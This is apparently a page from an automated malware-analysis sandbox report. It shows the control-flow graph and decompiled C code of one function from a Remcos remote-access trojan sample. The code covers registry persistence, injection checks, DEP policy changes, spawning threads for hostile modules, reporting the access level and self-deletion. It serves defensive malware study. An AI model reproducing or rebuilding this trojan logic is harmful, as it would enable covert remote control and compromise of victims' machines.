                                    • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                    • Instruction ID: 996134ed2cbc66ace827b20c0bd688662ae7be5c23d8220db6ff58c8433617ee
                                    • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                    • Instruction Fuzzy Hash: DC419FA0EC035879DA10BBB66DCDE3B3E5CD9857953114837B15CA7150EBBCD8408EAE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040E913 Relevance: 88.3, APIs: 15, Strings: 35, Instructions: 795COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 5 40e913-40e995 call 41caa2 GetModuleFileNameW call 40f311 call 4020f6 * 2 call 41bd6d call 40fa65 call 401e8d call 43fc50 22 40e9e1-40eaa9 call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->22 23 40e997-40e9dc call 40fb01 call 401e65 call 401fab call 410e85 call 40fab2 call 40f2fe 5->23 69 40eaab-40eaf6 call 406c1e call 401fe2 call 401fd8 call 401fab call 413497 22->69 70 40eafc-40eb17 call 401e65 call 40b90b 22->70 49 40ee40-40ee51 call 401fd8 23->49 69->70 102 40f29d-40f2b8 call 401fab call 4138f7 call 4123c3 69->102 79 40eb51-40eb58 call 40cfb7 70->79 80 40eb19-40eb38 call 401fab call 413497 70->80 88 40eb61-40eb68 79->88 89 40eb5a-40eb5c 79->89 80->79 98 40eb3a-40eb50 call 401fab call 4138f7 80->98 93 40eb6a 88->93 94 40eb6c-40eb78 call 41b215 88->94 92 40ee3f 89->92 92->49 93->94 103 40eb81-40eb85 94->103 104 40eb7a-40eb7c 94->104 98->79 124 40f2bd-40f2ee call 41bbb0 call 401f04 call 413971 call 401f09 * 2 102->124 108 40ebc4-40ebd7 call 401e65 call 401fab 103->108 109 40eb87 call 407716 103->109 104->103 127 40ebd9 call 407755 108->127 128 40ebde-40ec66 call 401e65 call 41bbb0 call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 108->128 118 40eb8c-40eb8e 109->118 121 40eb90-40eb95 call 407738 call 407260 118->121 122 40eb9a-40ebad call 401e65 call 401fab 118->122 121->122 122->108 141 40ebaf-40ebb5 122->141 157 40f2f3-40f2fd call 40dc90 call 414e78 124->157 127->128 177 40ec68-40ec81 call 401e65 call 401fab call 43ba26 128->177 178 40ecce-40ecd2 128->178 141->108 144 40ebb7-40ebbd 141->144 144->108 147 40ebbf call 407260 144->147 147->108 177->178 202 40ec83-40ecc9 call 401e65 call 401fab call 401e65 call 401fab call 40d982 call 401f13 call 401f09 177->202 179 40ee54-40eeb4 call 436de0 call 40247c call 401fab * 2 call 413646 call 409057 178->179 180 40ecd8-40ecdf 178->180 233 40eeb9-40ef0d call 401e65 call 401fab call 402093 call 401fab call 4136bd call 401e65 call 401fab call 43b9fc 179->233 182 40ece1-40ed5b call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40cd47 180->182 183 40ed5d-40ed67 call 409057 180->183 192 40ed6c-40ed90 call 40247c call 4346ea 182->192 183->192 210 40ed92-40ed9d call 436de0 192->210 211 40ed9f 192->211 202->178 216 40eda1-40edec call 401f04 call 43f759 call 40247c call 401fab call 40247c call 401fab call 413895 210->216 211->216 271 40edf1-40ee16 call 4346f3 call 401e65 call 40b90b 216->271 286 40ef2a-40ef2c 233->286 287 40ef0f 233->287 271->233 288 40ee1c-40ee3b call 401e65 call 41bbb0 call 40f3c2 271->288 290 40ef32 286->290 291 40ef2e-40ef30 286->291 289 40ef11-40ef28 call 41cced CreateThread 287->289 288->233 306 40ee3d 288->306 294 40ef38-40f014 call 402093 * 2 call 41b441 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43b9fc call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409de4 call 401e65 call 401fab 289->294 290->294 291->289 344 40f016-40f04d call 43443c call 401e65 call 401fab CreateThread 294->344 345 40f04f 294->345 306->92 347 40f051-40f069 call 401e65 call 401fab 344->347 345->347 356 40f0a7-40f0ba call 401e65 call 401fab 347->356 357 40f06b-40f0a2 call 43443c call 401e65 call 401fab CreateThread 347->357 368 40f11a-40f12d call 401e65 call 401fab 356->368 369 40f0bc-40f115 call 401e65 call 401fab call 401e65 call 401fab call 40d936 call 401f13 call 401f09 CreateThread 356->369 357->356 379 40f168-40f18c call 41b55f call 401f13 call 401f09 368->379 380 40f12f-40f163 call 401e65 call 401fab call 401e65 call 401fab call 43b9fc call 40c0b0 368->380 369->368 400 40f191-40f1a4 CreateThread 379->400 401 40f18e-40f18f SetProcessDEPPolicy 379->401 380->379 404 40f1b2-40f1b9 400->404 405 40f1a6-40f1b0 CreateThread 400->405 401->400 408 40f1c7-40f1ce 404->408 409 40f1bb-40f1c5 CreateThread 404->409 405->404 412 40f1d0-40f1d3 408->412 413 40f1dc 408->413 409->408 415 40f1d5-40f1da 412->415 416 40f21a-40f22d call 401fab call 41344d 412->416 418 40f1e1-40f215 call 402093 call 4052fd call 402093 call 41b441 call 401fd8 413->418 415->418 426 40f232-40f235 416->426 418->416 426->157 428 40f23b-40f27b call 41bbb0 call 401f04 call 413569 call 401f09 call 401f04 426->428 443 40f294-40f299 DeleteFileW 428->443 444 40f29b 443->444 445 40f27d-40f280 443->445 444->124 445->124 446 40f282-40f28f Sleep call 401f04 445->446 446->443
                                    C-Code - Quality: 91%
                                    			E0040E913(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a12) {
				char _v524;
				char _v700;
				char _v720;
				char _v724;
				char _v728;
				char _v752;
				char _v756;
				char _v760;
				char _v776;
				struct _SECURITY_ATTRIBUTES* _v780;
				char _v784;
				void* _v788;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t76;
				void* _t79;
				char* _t94;
				void* _t95;
				struct _SECURITY_ATTRIBUTES* _t96;
				struct _SECURITY_ATTRIBUTES* _t97;
				struct _SECURITY_ATTRIBUTES* _t98;
				struct _SECURITY_ATTRIBUTES* _t100;
				void* _t117;
				void* _t118;
				void* _t125;
				char _t131;
				struct _SECURITY_ATTRIBUTES** _t136;
				signed char* _t138;
				void* _t141;
				void* _t143;
				void* _t145;
				void* _t148;
				void* _t161;
				struct _SECURITY_ATTRIBUTES* _t164;
				intOrPtr _t166;
				struct _SECURITY_ATTRIBUTES* _t167;
				struct _SECURITY_ATTRIBUTES* _t174;
				WCHAR* _t182;
				struct _SECURITY_ATTRIBUTES* _t183;
				intOrPtr _t197;
				intOrPtr* _t200;
				void* _t202;
				void* _t207;
				char* _t210;
				void* _t212;
				void* _t220;
				void* _t226;
				void* _t227;
				signed int _t228;
				char* _t235;
				void* _t237;
				intOrPtr* _t246;
				void* _t248;
				intOrPtr* _t256;
				void* _t258;
				struct _SECURITY_ATTRIBUTES* _t273;
				void* _t284;
				struct _SECURITY_ATTRIBUTES* _t285;
				struct _SECURITY_ATTRIBUTES* _t295;
				intOrPtr* _t303;
				void* _t322;
				char* _t384;
				signed int _t416;
				signed int _t420;
				char _t422;
				void* _t425;
				void* _t479;
				void* _t497;
				struct _SECURITY_ATTRIBUTES* _t498;
				intOrPtr _t499;
				char* _t504;
				intOrPtr* _t506;
				void* _t509;
				void* _t510;
				struct _SECURITY_ATTRIBUTES* _t511;
				void* _t512;
				signed int _t516;
				signed int _t518;
				void* _t521;
				void* _t522;
				void* _t523;
				void* _t525;
				void* _t526;
				void* _t527;
				void* _t528;
				void* _t529;
				void* _t530;
				void* _t534;
				void* _t536;

				_t536 = __eflags;
				_t479 = __edx;
				_t516 = _t518;
				 *0x472d40 = _a4;
				_push(_t284);
				E0041CAA2();
				_t498 = 0;
				GetModuleFileNameW(0, "C:\Windows\SysWOW64\SndVol.exe", 0x104);
				E0040F311( &_v724, _t479, _t536);
				_t521 = (_t518 & 0xfffffff8) - 0x2f4;
				E004020F6(_t284, _t521, _t479, _t536, 0x475368);
				_t522 = _t521 - 0x18;
				E004020F6(_t284, _t522, _t479, _t536,  &_v728);
				_t76 = E0041BD6D( &_v756, _t479);
				_t523 = _t522 + 0x30;
				E0040FA65(_t479, _t76);
				E00401E8D( &_v760, _t479);
				_t79 = E0043FC50(_a12, "-l");
				_t303 = _t497;
				if(_t79 != 0) {
					_t285 = 3;
					_t502 = 0x4750e4;
					__eflags =  *((char*)(E00401FAB(E00401E65(0x4750e4, _t479, _t516, __eflags, _t285))));
					 *0x472b32 = __eflags != 0;
					_t481 = E0040531E( &_v784, "Software\\", _t516, E00401E65(0x4750e4, _t479, _t516, __eflags, 0xe));
					E00401FE2(0x4752f0, _t83, 0x4750e4, E00406383(_t285,  &_v756, _t83, 0, _t516, __eflags, 0x4660bc));
					E00401FD8();
					E00401FD8();
					E00401FC0(0x475320, E00401E65(0x4750e4, _t83, _t516, __eflags, 0xe));
					L00405AA6(_t285, 0x475380, _t83, "Exe");
					E00401E65(0x4750e4, _t83, _t516, __eflags, 0x32);
					__eflags =  *((char*)(E004051E3(0)));
					 *0x472d4b = __eflags != 0;
					E00401E65(0x4750e4, _t83, _t516, __eflags, 0x33);
					_t94 = E004051E3(0);
					__eflags =  *_t94;
					 *0x472d60 =  *_t94 != 0;
					__eflags =  *0x472d4b;
					if(__eflags == 0) {
						L5:
						_v780 = _t498;
						_t95 = E00401E65(_t502, _t481, _t516, __eflags, 0xd);
						_t482 = "0";
						_t322 = _t95;
						_t96 = E0040B90B(__eflags);
						__eflags = _t96;
						if(_t96 != 0) {
							_t482 = E00401FAB(0x4752f0);
							_t273 = E00413497(_t272, "Inj",  &_v780);
							_pop(_t322);
							__eflags = _t273;
							if(_t273 != 0) {
								_t482 = E00401FAB(0x4752f0);
								E004138F7(_t274, __eflags, "Inj");
								_pop(_t322);
							}
						}
						_t97 = E0040CFB7();
						__eflags = _t97;
						if(_t97 != 0) {
							_t98 =  *0x474aec;
							__eflags = _t98;
							if(__eflags != 0) {
								_t98->nLength(); // executed
							}
							E0041B215(_t322, __eflags); // executed
							_t100 =  *0x474af8;
							__eflags = _t100;
							if(_t100 != 0) {
								 *0x4719d0 = _t100->nLength();
							}
							__eflags = _v780 - _t498;
							if(__eflags == 0) {
								__eflags = E00407716(_t322);
								if(__eflags != 0) {
									E00407738();
									E00407260(_t502);
								}
								__eflags =  *((char*)(E00401FAB(E00401E65(_t502, _t482, _t516, __eflags, 0x2e))));
								if(__eflags != 0) {
									__eflags =  *0x474af8 - _t498;
									if(__eflags != 0) {
										__eflags =  *0x4719d0 - _t498; // 0x1
										if(__eflags == 0) {
											E00407260(_t502);
										}
									}
								}
							}
							__eflags =  *((char*)(E00401FAB(E00401E65(_t502, _t482, _t516, __eflags, 0x27))));
							if(__eflags != 0) {
								E00407755();
							}
							_t483 = E00401E65(_t502, _t482, _t516, __eflags, 0xe);
							E00401F13(0x4752c0, _t103, _t502, E0041BBB0( &_v780, _t103));
							E00401F09();
							__eflags =  *((char*)(E00401FAB(E00401E65(_t502, _t103, _t516, __eflags, 4))));
							 *0x472b33 = __eflags != 0;
							__eflags =  *((char*)(E00401FAB(E00401E65(_t502, _t103, _t516, __eflags, 5))));
							 *0x472b30 = __eflags != 0;
							__eflags =  *((char*)(E00401FAB(E00401E65(_t502, _t103, _t516, __eflags, 8))));
							 *0x472b31 = __eflags != 0;
							__eflags =  *((char*)(E00401FAB(E00401E65(_t502, _t103, _t516, __eflags, _t285))));
							if(__eflags != 0) {
								__eflags = E0043BA26(E00401FAB(E00401E65(_t502, _t483, _t516, __eflags, 0x30)));
								if(__eflags != 0) {
									_t256 = E00401FAB(E00401E65(_t502, _t483, _t516, __eflags, 9));
									_t258 = E00401FAB(E00401E65(0x4750e4, _t483, _t516, __eflags, 0x30));
									_t483 =  *_t256;
									E00401F13(0x475308,  *_t256, _t256, E0040D982( &_v784,  *_t256, _t258));
									E00401F09();
									_t502 = 0x4750e4;
								}
							}
							__eflags = _v780 - _t498;
							if(_v780 != _t498) {
								E00436DE0(_t498,  &_v524, _t498, 0x208);
								_t286 = 0x475338;
								_t117 = E0040247C();
								_t118 = E00401FAB(0x475338);
								_t484 = E00401FAB(0x4752f0);
								E00413646(_t120, "exepath",  &_v524, 0x208, _t118, _t117);
								_t525 = _t523 + 0x20;
								L00409057(0x475338, 0x4752d8, _t120,  &_v524);
								_t504 = 0x4750e4;
								goto L39;
							} else {
								__eflags =  *0x472b32;
								if(__eflags == 0) {
									L00409057(_t285, 0x4752d8, _t483, "C:\Windows\SysWOW64\SndVol.exe");
								} else {
									E00401FAB(E00401E65(_t502, _t483, _t516, __eflags, 0x1e));
									_t295 =  *((intOrPtr*)(E00401FAB(E00401E65(_t502, _t483, _t516, __eflags, 0xc))));
									_t246 = E00401FAB(E00401E65(_t502, _t483, _t516, __eflags, 9));
									__eflags = _t295;
									_t502 = _t246;
									__eflags = _t295;
									_t248 = E00401FAB(E00401E65(0x4750e4, _t483, _t516, _t295, 0xa));
									E0040CD47( *_t246, E00401FAB(E00401E65(0x4750e4, _t483, _t516, __eflags, 0x30)), __eflags, _t248, ((_t245 & 0xffffff00 | _t295 != 0x00000000) & 0 | __eflags != 0x00000000) & 0x000000ff, (_t245 & 0xffffff00 | _t295 != 0x00000000) & 0x000000ff);
									_t523 = _t523 + 0xc;
								}
								_t220 = E0040247C();
								_t425 = 2;
								_t292 =  ~(__eflags > 0) | (_t220 + 0x00000001) * 0x004752d8;
								_push( ~(__eflags > 0) | (_t220 + 0x00000001) * 0x004752d8);
								_t511 = E004346EA(_t425, (_t220 + 1) * 0x4752d8 >> 0x20, _t502, __eflags);
								__eflags = _t511;
								if(_t511 == 0) {
									_t511 = _t498;
								} else {
									E00436DE0(_t498, _t511, _t498, _t292);
									_t523 = _t523 + 0xc;
								}
								E0043F759(_t511, E00401F04(0x4752d8));
								_t286 = 0x475338;
								_t226 = E0040247C();
								_t227 = E00401FAB(0x475338);
								_t228 = E0040247C();
								E00413895(E00401FAB(0x4752f0), __eflags, "exepath", _t511, 2 + _t228 * 2, _t227, _t226); // executed
								E004346F3(_t511);
								_t525 = _t523 + 0x1c;
								_t504 = 0x4750e4;
								E00401E65(0x4750e4, _t230, _t516, __eflags, 0xd);
								_t484 = "0";
								__eflags = E0040B90B(__eflags);
								if(__eflags == 0) {
									L39:
									_push(1);
									_t125 = E00401FAB(E00401E65(_t504, _t484, _t516, __eflags, 0x34));
									_t526 = _t525 - 0x18;
									E00402093(_t286, _t526, _t484, _t516, _t125);
									_push("licence");
									_t485 = E00401FAB(0x4752f0); // executed
									E004136BD(0x4752f0, _t127); // executed
									_t527 = _t526 + 0x20;
									_t131 = E0043B9FC(_t129, E00401FAB(E00401E65(_t504, _t127, _t516, __eflags, 0x28)));
									 *0x472d48 = _t131;
									__eflags = _t131 - 2;
									if(_t131 != 2) {
										__eflags = _t131 - 1;
										if(_t131 != 1) {
											_t499 = CreateThread;
										} else {
											_t422 = 0;
											goto L41;
										}
									} else {
										_t422 = 1;
										L41:
										E0041CCED(_t286, _t422, _t485, _t498);
										_t499 = __imp__CreateThread; // 0x746743e0
										CreateThread(_t498, _t498, E0041D3AF, _t498, _t498, _t498);
									}
									_t528 = _t527 - 0x18;
									E00402093(_t286, _t528, _t485, _t516, "Remcos Agent initialized");
									_t529 = _t528 - 0x18;
									E00402093(_t286, _t529, _t485, _t516, "i");
									E0041B441(_t286, _t499);
									_t530 = _t529 + 0x30;
									_t136 = E00401FAB(E00401E65(_t504, _t485, _t516, __eflags, 0xb));
									_t138 = E00401FAB(E00401E65(_t504, _t485, _t516, __eflags, 0x10));
									__eflags =  *_t136;
									_t505 = _t138;
									_t141 = E0043B9FC(_t139, E00401FAB(E00401E65(0x4750e4, _t485, _t516,  *_t136, 7)));
									_t143 = E00401FAB(E00401E65(0x4750e4, _t485, _t516, __eflags, 0x11));
									_t145 = E00401FAB(E00401E65(0x4750e4, _t485, _t516, __eflags, 0x31));
									_t148 = E00401FAB(E00401E65(0x4750e4, _t485, _t516, __eflags, 0x2a));
									E00409DE4(0x4750e4, 0x4750f0, __eflags, StrToIntA(E00401FAB(E00401E65(0x4750e4, _t485, _t516, __eflags, 0xf))), _t148,  *_t138 & 0x000000ff, _t145, _t143, _t141, (_t137 & 0xffffff00 | __eflags != 0x00000000) & 0x000000ff); // executed
									__eflags =  *((char*)(E00401FAB(E00401E65(0x4750e4, _t485, _t516, __eflags, 0x14)))) - 1;
									if(__eflags != 0) {
										_t285 = 0;
										__eflags = 0;
									} else {
										_t212 = 2;
										_t510 = E0043443C(_t485, _t505, __eflags, _t212);
										_t285 = 0;
										 *_t510 = 0;
										_t420 = E00401E65(0x4750e4, _t485, _t516, __eflags, 0x35);
										__eflags =  *(E00401FAB(_t420));
										 *((char*)(_t510 + 1)) = _t420 & 0xffffff00 | __eflags != 0x00000000;
										CreateThread(0, 0, E00419F06, _t510, 0, 0);
									}
									_t502 = 0x4750e4;
									__eflags =  *((char*)(E00401FAB(E00401E65(0x4750e4, _t485, _t516, __eflags, 0x16)))) - 1;
									if(__eflags == 0) {
										_t207 = 2;
										_t509 = E0043443C(_t485, 0x4750e4, __eflags, _t207);
										 *_t509 = 1;
										_t416 = E00401E65(0x4750e4, _t485, _t516, __eflags, 0x35);
										_t210 = E00401FAB(_t416);
										__eflags =  *_t210;
										_t49 =  *_t210 != 0;
										__eflags = _t49;
										 *((char*)(_t509 + 1)) = _t416 & 0xffffff00 | _t49;
										CreateThread(_t285, _t285, E00419F06, _t509, _t285, _t285);
										_t502 = 0x4750e4;
									}
									__eflags =  *((char*)(E00401FAB(E00401E65(_t502, _t485, _t516, __eflags, 0x23)))) - 1;
									if(__eflags == 0) {
										 *0x472a85 = 1;
										_t200 = E00401FAB(E00401E65(_t502, _t485, _t516, __eflags, 0x25));
										_t202 = E00401FAB(E00401E65(0x4750e4, _t485, _t516, __eflags, 0x26));
										_t485 =  *_t200;
										E00401F13(0x474d64,  *_t200, _t200, E0040D936( &_v784,  *_t200, _t202));
										E00401F09();
										CreateThread(_t285, _t285, E00401BE9, _t285, _t285, _t285);
										_t502 = 0x4750e4;
									}
									__eflags =  *((char*)(E00401FAB(E00401E65(_t502, _t485, _t516, __eflags, 0x2b)))) - 1;
									if(__eflags == 0) {
										_t502 = E00401FAB(E00401E65(_t502, _t485, _t516, __eflags, 0x2c));
										_t197 = E0043B9FC(_t195, E00401FAB(E00401E65(0x4750e4, _t485, _t516, __eflags, 0x2d)));
										__eflags =  *_t502;
										_t485 = _t197;
										__eflags =  *_t502 != 0;
										E0040C0B0(_t197);
									}
									_t161 = E0041B55F( &_v776, _t485, _t499, __eflags); // executed
									E00401F13(0x475350, _t485, _t502, _t161);
									E00401F09();
									_t164 =  *0x474af0;
									__eflags = _t164;
									if(_t164 != 0) {
										_t164->nLength(_t285); // executed
									}
									CreateThread(_t285, _t285, E0040F6F5, _t285, _t285, _t285); // executed
									__eflags =  *0x472d4b;
									if( *0x472d4b != 0) {
										CreateThread(_t285, _t285, E00412045, _t285, _t285, _t285);
									}
									__eflags =  *0x472d60;
									if( *0x472d60 != 0) {
										CreateThread(_t285, _t285, E00412629, _t285, _t285, _t285);
									}
									_t166 =  *0x4719d0; // 0x1
									_t167 = _t166 - _t285;
									__eflags = _t167;
									if(__eflags == 0) {
										_push("User");
										goto L64;
									} else {
										__eflags = _t167 - 1;
										if(__eflags == 0) {
											_push("Administrator");
											L64:
											E004052FD(_t285, _t530 - 0x18, "Access Level: ", _t516, __eflags, E00402093(_t285,  &_v780, _t485, _t516));
											E00402093(_t285, _t530 - 4, "Access Level: ", _t516, "i");
											E0041B441(_t285, _t499);
											E00401FD8();
										}
									}
									_t498 = 0x4752f0;
									_t174 = E0041344D(0x4752f0, E00401FAB(0x4752f0), "del"); // executed
									_pop(_t384);
									__eflags = _t174;
									if(__eflags != 0) {
										E00413569( &_v752, 0x80000001, E00401F04(E0041BBB0( &_v780, 0x4752f0)), L"del");
										E00401F09();
										_t182 = E00401F04( &_v752);
										_t502 = DeleteFileW;
										while(1) {
											_t183 = DeleteFileW(_t182);
											__eflags = _t183;
											if(_t183 != 0) {
												break;
											}
											__eflags = _t285 - 0xa;
											if(_t285 < 0xa) {
												_t285 =  &(_t285->nLength);
												__eflags = _t285;
												Sleep(0xa);
												_t182 = E00401F04( &_v752);
												continue;
											}
											goto L72;
										}
										goto L72;
									}
									goto L73;
								} else {
									_t235 = E00401E65(0x4750e4, "0", _t516, __eflags, 0xd);
									_t534 = _t525 - 0x18;
									_t484 = _t235;
									E0041BBB0(_t534, _t235);
									_t237 = E0040F3C2(__eflags);
									_t525 = _t534 + 0x18;
									__eflags = _t237 - 1;
									if(__eflags != 0) {
										goto L39;
									} else {
										_push(3);
										goto L36;
									}
								}
							}
						} else {
							_push(2);
							L36:
							_pop(_t512);
							goto L37;
						}
					} else {
						E00401FE2(0x475418, 0x475320, 0x4750e4, E00406C1E( &_v776, 0x475320, _t516, "-W"));
						E00401FD8();
						_v756 = 0;
						_t481 = E00401FAB(0x4752f0);
						__eflags = E00413497(_t280, "WD",  &_v756);
						if(__eflags != 0) {
							E004138F7(E00401FAB(0x4752f0), __eflags, "WD");
							E004123C3();
							L72:
							E00413971(0x80000001, E00401F04(E0041BBB0( &_v780, _t498)), L"del");
							E00401F09();
							_t384 =  &_v752;
							E00401F09(); // executed
							L73:
							E0040DC90(__eflags); // executed
							E00414E78(); // executed
							asm("int3");
							_push(_t502);
							_t506 = _t384 + 0x68;
							E0040FAD2(_t285, _t506, _t506);
							_t303 = _t506;
							 *_t303 = 0x46758c;
							 *_t303 = 0x467548;
							return E004356E9(_t303);
						} else {
							goto L5;
						}
					}
				} else {
					_push(__ecx);
					_push(__ecx);
					__ecx =  &_v700;
					__eax = E0040FB01( &_v700, __edx, __eflags, "license_code.txt", 2);
					__ecx = 0x4750e4;
					__ecx = E00401E65(0x4750e4, __edx, __ebp, __eflags, 0x34);
					__edx = __eax;
					__ecx =  &_v720;
					__eax = E00410E85( &_v720, __edx, __eflags);
					__ecx =  &_v720;
					__eax = E0040FAB2( &_v720, __edx, __eflags);
					__ecx =  &_v720;
					L74();
					0 = 1;
					L37:
					E00401FD8();
					return _t512;
				}
			}






























































































                                    0x0040e913
                                    0x0040e913
                                    0x0040e914
                                    0x0040e922
                                    0x0040e927
                                    0x0040e92a
                                    0x0040e939
                                    0x0040e93c
                                    0x0040e946
                                    0x0040e94b
                                    0x0040e955
                                    0x0040e95a
                                    0x0040e964
                                    0x0040e96d
                                    0x0040e972
                                    0x0040e976
                                    0x0040e97f
                                    0x0040e98c
                                    0x0040e992
                                    0x0040e995
                                    0x0040e9e3
                                    0x0040e9e4
                                    0x0040ea01
                                    0x0040ea04
                                    0x0040ea20
                                    0x0040ea32
                                    0x0040ea3b
                                    0x0040ea44
                                    0x0040ea58
                                    0x0040ea67
                                    0x0040ea71
                                    0x0040ea82
                                    0x0040ea85
                                    0x0040ea8c
                                    0x0040ea93
                                    0x0040ea98
                                    0x0040ea9b
                                    0x0040eaa2
                                    0x0040eaa9
                                    0x0040eafc
                                    0x0040eb00
                                    0x0040eb04
                                    0x0040eb09
                                    0x0040eb0e
                                    0x0040eb10
                                    0x0040eb15
                                    0x0040eb17
                                    0x0040eb2d
                                    0x0040eb2f
                                    0x0040eb35
                                    0x0040eb36
                                    0x0040eb38
                                    0x0040eb49
                                    0x0040eb4b
                                    0x0040eb50
                                    0x0040eb50
                                    0x0040eb38
                                    0x0040eb51
                                    0x0040eb56
                                    0x0040eb58
                                    0x0040eb61
                                    0x0040eb66
                                    0x0040eb68
                                    0x0040eb6a
                                    0x0040eb6a
                                    0x0040eb6c
                                    0x0040eb71
                                    0x0040eb76
                                    0x0040eb78
                                    0x0040eb7c
                                    0x0040eb7c
                                    0x0040eb81
                                    0x0040eb85
                                    0x0040eb8c
                                    0x0040eb8e
                                    0x0040eb90
                                    0x0040eb95
                                    0x0040eb95
                                    0x0040ebaa
                                    0x0040ebad
                                    0x0040ebaf
                                    0x0040ebb5
                                    0x0040ebb7
                                    0x0040ebbd
                                    0x0040ebbf
                                    0x0040ebbf
                                    0x0040ebbd
                                    0x0040ebb5
                                    0x0040ebad
                                    0x0040ebd4
                                    0x0040ebd7
                                    0x0040ebd9
                                    0x0040ebd9
                                    0x0040ebe7
                                    0x0040ebf8
                                    0x0040ec01
                                    0x0040ec1a
                                    0x0040ec1d
                                    0x0040ec34
                                    0x0040ec37
                                    0x0040ec4d
                                    0x0040ec50
                                    0x0040ec63
                                    0x0040ec66
                                    0x0040ec7f
                                    0x0040ec81
                                    0x0040ec8e
                                    0x0040eca3
                                    0x0040eca8
                                    0x0040ecbb
                                    0x0040ecc4
                                    0x0040ecc9
                                    0x0040ecc9
                                    0x0040ec81
                                    0x0040ecce
                                    0x0040ecd2
                                    0x0040ee63
                                    0x0040ee6b
                                    0x0040ee72
                                    0x0040ee7a
                                    0x0040ee98
                                    0x0040ee9a
                                    0x0040ee9f
                                    0x0040eeaf
                                    0x0040eeb4
                                    0x00000000
                                    0x0040ecd8
                                    0x0040ecd8
                                    0x0040ecdf
                                    0x0040ed67
                                    0x0040ece1
                                    0x0040ecec
                                    0x0040ed07
                                    0x0040ed10
                                    0x0040ed15
                                    0x0040ed17
                                    0x0040ed1c
                                    0x0040ed39
                                    0x0040ed53
                                    0x0040ed58
                                    0x0040ed58
                                    0x0040ed71
                                    0x0040ed7b
                                    0x0040ed83
                                    0x0040ed85
                                    0x0040ed8b
                                    0x0040ed8e
                                    0x0040ed90
                                    0x0040ed9f
                                    0x0040ed92
                                    0x0040ed95
                                    0x0040ed9a
                                    0x0040ed9a
                                    0x0040edad
                                    0x0040edb3
                                    0x0040edba
                                    0x0040edc2
                                    0x0040edcd
                                    0x0040edec
                                    0x0040edf2
                                    0x0040edf7
                                    0x0040edfa
                                    0x0040ee03
                                    0x0040ee08
                                    0x0040ee14
                                    0x0040ee16
                                    0x0040eeb9
                                    0x0040eeb9
                                    0x0040eec6
                                    0x0040eecb
                                    0x0040eed1
                                    0x0040eed6
                                    0x0040eee5
                                    0x0040eee7
                                    0x0040eeec
                                    0x0040ef00
                                    0x0040ef05
                                    0x0040ef0b
                                    0x0040ef0d
                                    0x0040ef2a
                                    0x0040ef2c
                                    0x0040ef32
                                    0x0040ef2e
                                    0x0040ef2e
                                    0x00000000
                                    0x0040ef2e
                                    0x0040ef0f
                                    0x0040ef0f
                                    0x0040ef11
                                    0x0040ef11
                                    0x0040ef20
                                    0x0040ef26
                                    0x0040ef26
                                    0x0040ef38
                                    0x0040ef42
                                    0x0040ef47
                                    0x0040ef51
                                    0x0040ef56
                                    0x0040ef5b
                                    0x0040ef69
                                    0x0040ef7b
                                    0x0040ef80
                                    0x0040ef82
                                    0x0040efa1
                                    0x0040efb3
                                    0x0040efc4
                                    0x0040efd9
                                    0x0040effc
                                    0x0040f011
                                    0x0040f014
                                    0x0040f04f
                                    0x0040f04f
                                    0x0040f016
                                    0x0040f018
                                    0x0040f01f
                                    0x0040f021
                                    0x0040f02b
                                    0x0040f032
                                    0x0040f03c
                                    0x0040f048
                                    0x0040f04b
                                    0x0040f04b
                                    0x0040f051
                                    0x0040f066
                                    0x0040f069
                                    0x0040f06d
                                    0x0040f074
                                    0x0040f07e
                                    0x0040f086
                                    0x0040f088
                                    0x0040f090
                                    0x0040f099
                                    0x0040f099
                                    0x0040f09d
                                    0x0040f0a0
                                    0x0040f0a2
                                    0x0040f0a2
                                    0x0040f0b7
                                    0x0040f0ba
                                    0x0040f0c0
                                    0x0040f0ce
                                    0x0040f0e3
                                    0x0040f0e8
                                    0x0040f0fb
                                    0x0040f104
                                    0x0040f113
                                    0x0040f115
                                    0x0040f115
                                    0x0040f12a
                                    0x0040f12d
                                    0x0040f146
                                    0x0040f155
                                    0x0040f15a
                                    0x0040f15d
                                    0x0040f160
                                    0x0040f163
                                    0x0040f163
                                    0x0040f16c
                                    0x0040f177
                                    0x0040f180
                                    0x0040f185
                                    0x0040f18a
                                    0x0040f18c
                                    0x0040f18f
                                    0x0040f18f
                                    0x0040f19b
                                    0x0040f19d
                                    0x0040f1a4
                                    0x0040f1b0
                                    0x0040f1b0
                                    0x0040f1b2
                                    0x0040f1b9
                                    0x0040f1c5
                                    0x0040f1c5
                                    0x0040f1c7
                                    0x0040f1cc
                                    0x0040f1cc
                                    0x0040f1ce
                                    0x0040f1dc
                                    0x00000000
                                    0x0040f1d0
                                    0x0040f1d0
                                    0x0040f1d3
                                    0x0040f1d5
                                    0x0040f1e1
                                    0x0040f1f5
                                    0x0040f204
                                    0x0040f209
                                    0x0040f215
                                    0x0040f215
                                    0x0040f1d3
                                    0x0040f21a
                                    0x0040f22d
                                    0x0040f232
                                    0x0040f233
                                    0x0040f235
                                    0x0040f25c
                                    0x0040f267
                                    0x0040f270
                                    0x0040f275
                                    0x0040f294
                                    0x0040f295
                                    0x0040f297
                                    0x0040f299
                                    0x00000000
                                    0x00000000
                                    0x0040f27d
                                    0x0040f280
                                    0x0040f284
                                    0x0040f284
                                    0x0040f285
                                    0x0040f28f
                                    0x00000000
                                    0x0040f28f
                                    0x00000000
                                    0x0040f280
                                    0x00000000
                                    0x0040f29b
                                    0x00000000
                                    0x0040ee1c
                                    0x0040ee20
                                    0x0040ee25
                                    0x0040ee28
                                    0x0040ee2c
                                    0x0040ee31
                                    0x0040ee36
                                    0x0040ee39
                                    0x0040ee3b
                                    0x00000000
                                    0x0040ee3d
